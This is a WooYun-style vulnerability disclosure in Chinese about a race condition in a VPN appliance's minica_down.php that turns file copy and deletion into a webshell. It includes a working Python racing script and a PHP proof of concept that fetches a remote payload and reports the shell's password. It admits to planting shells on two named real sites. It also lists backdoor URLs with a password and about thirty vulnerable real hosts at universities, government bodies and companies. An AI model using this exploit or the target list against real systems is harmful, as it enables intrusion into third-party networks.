漏洞详情

披露状态:

2014-01-07: 细节已通知厂商并且等待厂商处理中
2014-01-12: 厂商已经确认,细节仅向厂商公开
2014-01-15: 细节向第三方安全合作伙伴开放
2014-01-22: 细节向核心白帽子及相关领域专家公开
2014-02-01: 细节向普通白帽子公开
2014-02-21: 细节向实习白帽子公开
2014-04-07: 细节向公众公开

简要描述:

利用此漏洞可导致任意文件写入,任意代码/命令执行,大量内网可免门票任意漫游 漫游...
同时该漏洞涉及到包括网御神州、天融信、西安网赢、卫士通、吉大正元、美国凹凸、德国 ANIX等多家VPN厂商设备在政务、地产、运营商、政府部门、高校、企业、公安、司法、银行等行业存在的任意文件下载、远程命令执行、维护后门、三方平台帐号泄漏、恶意客户端下发等高位漏洞。

详细说明:

#1 首先请看:

 WooYun: [浅谈内网安全]--国内外多家vpn设备厂商批量漏洞 



漏洞修复中,@紫梦芊 提到修复方法,详见如下:

exec("cp ".$_POST['realfile']." ".$_POST['path']."");改为
copy($_POST['realfile'],$_POST['path'])
exec("rm ".$_POST["path"]."");改为
unlink($_POST['path'])



嘿,没想到这些厂商还真是这样修复的...

咦? 这样修复没有问题啊,但真的是没问题吗?要是真的没问题,就不会有下文了,哈哈...

各位看官,且听我细细道来...

#2 我们打开根目录下的minica_down.php文件,代码贴出来

<?
if($_POST['realfile'])
copy($_POST['realfile'],$_POST['path']);
//$_POST[path] = mb_convert_encoding($_POST[path],"GBK","UTF-8");
$file = mb_convert_encoding($_POST[file],"GBK","UTF-8");
header("Pragma:");
header("Cache-Control:");
header("Content-type:application/octet-stream");
header("Content-Length:".filesize($_POST[path]));
header("Content-Disposition:attachment;filename=\"$file\"");
readfile($_POST[path]);
if($_POST['realfile'])
unlink($_POST["path"]);
?>



第二行代码:

copy($_POST['realfile'],$_POST['path']);



从POST提交的realfile,复制到POST提交的path参数

倒数三行代码:

if($_POST['realfile'])
unlink($_POST["path"]);
?>



如果提交了realfile参数,则删除path参数所提交的文件,即

假如我们post提交,realfile=/ssl/www/test.jpg & path=/ssl/www/admin/shell.php

很容易的得到我们想要的shell,但在代码的最后三行,最终删除了path即 删除了我们想要的shell:/ssl/www/admin/shell.php



这段代码的逻辑看起来没什么问题,但是呢 我们人是最善于思考的动物,SO...



#3 思考中... ...

#4 思考后的结果

程序的执行需要一个过程,哪怕这个过程很短很短,鉴于此,我们有了如下的结果...

(要是我们能在程序删除我们想要的那个shell前,通过一定的方法抢在其前面访问那个shell,这个shell帮我们生成另一个shell,那么这个新生成的shell总不会被删除吧...)

这里简单小结一下

正常情况:

copy成shell1--->删除shell1;

被攻击时的情况:

copy成shell1--->访问shell1-->shell1生成shell2-->删除shell1 明白了吧?



有了想法,那就开始行动吧...

方法一:

我们可以用py写一个多线程的代码,唯一功能是:不停的访问copy成的shell1

#coding=utf-8

import os
import urllib2
import urllib
import threading

class Query(threading.Thread):
def __init__(self,url):
threading.Thread.__init__(self)
self.url = url
def run(self):
while True:
print 'Testing...'
try:
rep = urllib2.urlopen(self.url,timeout=2)
except :
pass

def main():
threads = []
url = "http://www.vulns.org/shell1.php"
for i in range(20):
t = Query(url)
t.start()
threads.append(t)
for t in threads:
t.join()
if __name__=="__main__":
main()



方法二:

将post提交和访问shell让程序同时进行...

经过一系列的测试:方法一成功的几率很小,这里 我们选择方法二

漏洞证明:

#5 漏洞最终利用

这里 我们用php写漏洞利用的POC:

<?php
set_time_limit(0);
error_reporting(0);

function get($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);//https请求,不验证证书和hosts
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_HEADER,0);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
function post($url,$params){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
$i=0;
$url = "https://vpn.com.cn/minica_down.php";
$geturl1 = "https://vpn.com.cn/sub_ca_reglog.php";
$postdata = "realfile=http://www.xxx.com/exp.txt&path=sub_ca_reglog.php";
while(++$i<5) {
echo "\nTesting[$i]....\n";
post($url,$postdata);
get($geturl1);
}
$vali_url = "https://vpn.com.cn/shell.php";
$resp = get($vali_url);
echo $resp;
if(preg_match('/200 OK/',$resp)){
echo "Success! shell is : $vali_url, Pass is [1@3]";
}else{
echo "------->Fail!\n\n";
}
?>





POC说明:

POST提交参数:

realfile=http://www.com.cn/2.txt&path=sub_ca_reglog1.php



realfile参数是远程的一个文件,目的是生成最终的shell 大小最好几十KB,为我们访问中间的shell1争取时间 增加成功的概率嘛,内容如下:

2.jpg



path是我们想要生成的文件,这里是:sub_ca_reglog1.php



Tips:由于这里只是POC,所以在运行的时候 最好多试几次,要是试了几次任然没生成shell,此时可手动访问:http://www.com.cn/sub_ca_reglog1.php 说不定会有意想不到的效果哦.

#6 shell

https://svpn.mbatec.com.tw

https://vpn.mcut.edu.tw 这两个url,对不起了啊,毕竟为了测试嘛

3.jpg



4.jpg



同时我发现,有很多网站被人留了后门,清理一下吧

https://xxxxxxx/admin/free.php 密码cmd

https://svpn.mbatec.com.tw/welcome_time1.php

https://svpn.mbatec.com.tw/sub_ca_reglog1.php

https://svpn.mbatec.com.tw/sub_ca_reglog2.php

https://svpn.mbatec.com.tw/sub_ca_reglog3.php

#7 漏洞站点(摘自@紫梦芊)

至少有如下的站点,未列完.....

https://vpn.bit.edu.cn/ 北京理工
https://sslvpn.bjtu.edu.cn/ 北交大
https://125.46.88.100/ 郑州大学
https://219.80.0.19/p 国泰地产集团
https://info.nai.edu.cn/ 北京国家会计学院
https://124.205.79.78/ 北大计算中心
https://210.82.53.201/ 北京联合大学
https://vpn.cnu.edu.cn/ 首都师大
https://vpn.mcut.edu.tw/ 台湾明志科技大学
https://ac.whlib.gov.cn 武汉图书馆
https://sslvpn.nhcue.edu.tw 新竹教育大学
https://isms.ydu.edu.tw/ 育達商業科技大學
https://sslvpn.ydu.edu.tw/ 育達商業科技大學
https://vpn.cute.edu.tw 中国(台湾)科技大学
https://sslvpn.ntue.edu.tw 国立台北教育大学
https://vpn.psi.com.tw 升阳国际
https://maltimur.jksm.gov.my/ 马来西亚某政府网站
https://vpn.ccom.edu.cn 中央音乐学院
https://vpn.dlmu.edu.cn 大连海事大学
https://vpn.wanfang.edu.cn 河南理工
https://vpn.genius.com.cn 深圳巨灵
https://sslvpn.changhongit.com 长虹佳华
https://vpn.jnrd.com.cn 北京京能热电
https://sslvpn.kworld.com.tw 廣寰台北辦公室
https://www.oo586.com/ 易宝支付
https://svpn.mbatec.com.tw 新碩資訊
https://sslvpn.szs.com.tw 新日兴
https://sslvpn.gzcatv.net 广数传媒
https://e.nais.net.cn 农业部农E通
https://vpn.thcic.cn 清华

修复方案:

神马意思,你们懂,要是不懂 再问我,OK...

版权声明:转载请注明来源 felixk3y@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-01-12 11:36

厂商回复:

CNVD确认并复现所述况,并根据利用原理对EXP进行了改写,提高了测试成功率。在9日上午已经复现多个实例,不过在9日下午之后测试结果出现新的变化。需要汇总进一步的结果才进行处置。

最新状态:

暂无


漏洞评价: